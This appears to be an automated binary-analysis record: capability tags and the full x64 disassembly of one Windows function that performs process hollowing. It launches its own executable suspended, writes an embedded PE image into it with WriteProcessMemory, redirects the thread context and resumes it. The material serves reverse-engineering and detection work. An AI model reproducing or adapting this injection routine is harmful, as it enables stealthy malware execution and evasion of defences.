Function at 0x14004fdb0
Capabilities:
Allocate or change rwx memory
Create pipe
Create process on windows
Create process suspended
Read file on windows
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x590]
sub rsp, 0x690
mov r12, r8
mov rsi, rdx
xor r15d, r15d
mov dword [rbp + 0x5e8], r15d
movsxd rbx, dword [0x14052314c]
lea rax, [0x140523110]
add rbx, rax
mov r8d, 0x400
lea rdx, [rbp + 0x190]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [rbx], 0x4550
jne 0x14005028c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x124], xmm1
movups xmmword [rbp + 0x134], xmm1
movups xmmword [rbp + 0x144], xmm1
movups xmmword [rbp + 0x154], xmm1
movups xmmword [rbp + 0x164], xmm1
mov dword [rbp + 0x174], eax
mov dword [rbp + 0x120], WSAGetLastError
mov dword [rbp - 0x60], Ordinal_26
mov qword [rbp - 0x58], r15
mov dword [rbp - 0x50], 1
xor r9d, r9d
lea r8, [rbp - 0x60]
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x5d0]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x14005028c
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x178], rax
mov qword [rbp + 0x180], rax
or dword [rbp + 0x15c], 0x100
lea rax, [0x140111b50]
mov qword [rbp + 0x20], rax
lea rax, [0x140111300]
mov qword [rbp + 0x30], rax
lea rcx, [rbp + 0xb8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0x5e8], 2
xor r8d, r8d
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x20], r13
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x1c], edx
lea rcx, [rbp + 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x38], rax
mov qword [rbp + 0xa0], r15
mov dword [rbp + 0xa8], r15d
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], 2
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov eax, 0x7261
mov word [rbp - 0x40], ax
mov byte [rbp - 0x3e], r15b
mov rdx, rsi
lea rcx, [rbp - 0x20]
call fcn.14006b7b0
nop
lea rax, [rbp - 0x40]
mov qword [rsp + 0x70], rax
lea rax, [rbp]
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 8]
call fcn.14006ad40
nop
lea r9, [fcn.140049840]
lea edx, [r15 + 0x20]
lea r8d, [r15 + 2]
lea rcx, [rbp - 0x40]
call fcn.1400ed318
mov edi, 0x800
nop dword [rax]
lea rdx, [0x14010bd44]
lea rcx, [rbp + 0x30]
call fcn.140071310
sub rdi, 1
jne 0x14004ffb0
mov r8, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 0xf
jbe 0x14004ffd4
mov rsi, qword [rsi]
mov rdx, rsi
lea rcx, [rbp + 0x30]
call fcn.140077c10
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x38]
call fcn.14006d360
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x120]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140050237
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov dword [rax + 0x30], 0x10000b
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140050237
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r15
mov r9d, 8
lea r8, [rbp]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea r13, [rbx + 0x30]
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r13]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
mov r9d, dword [rbx + 0x54]
xor edi, edi
mov qword [rsp + 0x20], rdi
lea r8, [0x140523110]
mov rdx, rax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov esi, edi
cmp di, word [rbx + 6]
jae 0x140050146
xor r13d, r13d
lea r12, [0x140523110]
nop dword [rax]
movzx eax, word [rbx + 0x14]
add rax, rdi
mov r9d, dword [rax + rbx + 0x28]
mov r8d, dword [rax + rbx + 0x2c]
add r8, r12
mov edx, dword [rax + rbx + 0x24]
add rdx, r15
mov qword [rsp + 0x20], r13
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
inc esi
add rdi, 0x28
movzx eax, word [rbx + 6]
cmp esi, eax
jl 0x140050100
mov r12, qword [rbp + 0x5e0]
lea r13, [rbx + 0x30]
xor edi, edi
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rdi
mov r9d, 8
mov r8, r13
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rbx + 0x28]
add rax, r15
mov qword [r14 + 0x80], rax
mov rdx, r14
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x5e8]
mov r8d, 0x3ff
mov rdx, r12
mov rcx, qword [rbp + 0x5d0]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400501c1
mov eax, dword [rbp + 0x5e8]
mov byte [rax + r12], 0
mov rcx, qword [rbp + 0x5d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x80]
call fcn.140049850
nop
lea rcx, [rbp + 8]
call fcn.14006d410
nop
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x20], rax
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x1c], edx
lea rcx, [rbp + 0x38]
call fcn.14006aae0
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xb8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
xor eax, eax
jmp 0x140050291
lea rcx, [rbp - 0x80]
call fcn.140049850
nop
lea rcx, [rbp + 8]
call fcn.14006d410
nop
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x20], r13
mov rcx, qword [rbp + 0x20]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x98]
mov dword [rbp + rdx + 0x1c], r8d
lea rcx, [rbp + 0x38]
call fcn.14006aae0
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xb8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov eax, 1
mov rbx, qword [rsp + 0x6d8]
add rsp, 0x690
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret